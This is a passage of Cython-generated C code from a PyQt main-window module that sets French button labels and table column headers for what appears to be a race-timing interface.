__pyx_n_s_B_Define); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__646, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_int_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1050 * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Start.setText(_translate("MainWindow", "Dpart")) # <<<<<<<<<<<<<< * self.B_Stop.setText(_translate("MainWindow", "STOP")) * self.R_RaceLive.setSortingEnabled(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__647, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1051 * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Start.setText(_translate("MainWindow", "Dpart")) * self.B_Stop.setText(_translate("MainWindow", "STOP")) # <<<<<<<<<<<<<< * self.R_RaceLive.setSortingEnabled(False) * item = self.R_RaceLive.horizontalHeaderItem(2) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__648, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1052 * self.B_Start.setText(_translate("MainWindow", "Dpart")) * self.B_Stop.setText(_translate("MainWindow", "STOP")) * self.R_RaceLive.setSortingEnabled(False) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1052, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSortingEnabled); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1052, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__649, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1052, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1053 * self.B_Stop.setText(_translate("MainWindow", "STOP")) * self.R_RaceLive.setSortingEnabled(False) * item = self.R_RaceLive.horizontalHeaderItem(2) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive.horizontalHeaderItem(3) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1053, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1053, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__650, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1053, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_item = __pyx_t_1; __pyx_t_1 = 0; /* "Ui_MainWindow.py":1054 * self.R_RaceLive.setSortingEnabled(False) * item = self.R_RaceLive.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__651, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1055 * item = self.R_RaceLive.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive.horizontalHeaderItem(3) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive.horizontalHeaderItem(4) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1055, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1055, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__652, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1055, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1056 * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__653, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1057 * item = self.R_RaceLive.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive.horizontalHeaderItem(4) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive.horizontalHeaderItem(5) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1057, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1057, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__654, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1057, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1058 * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__655, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1059 * item = self.R_RaceLive.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive.horizontalHeaderItem(5) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive.horizontalHeaderItem(6) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1059, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1059, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__656, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1059, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1060 * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__657, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { 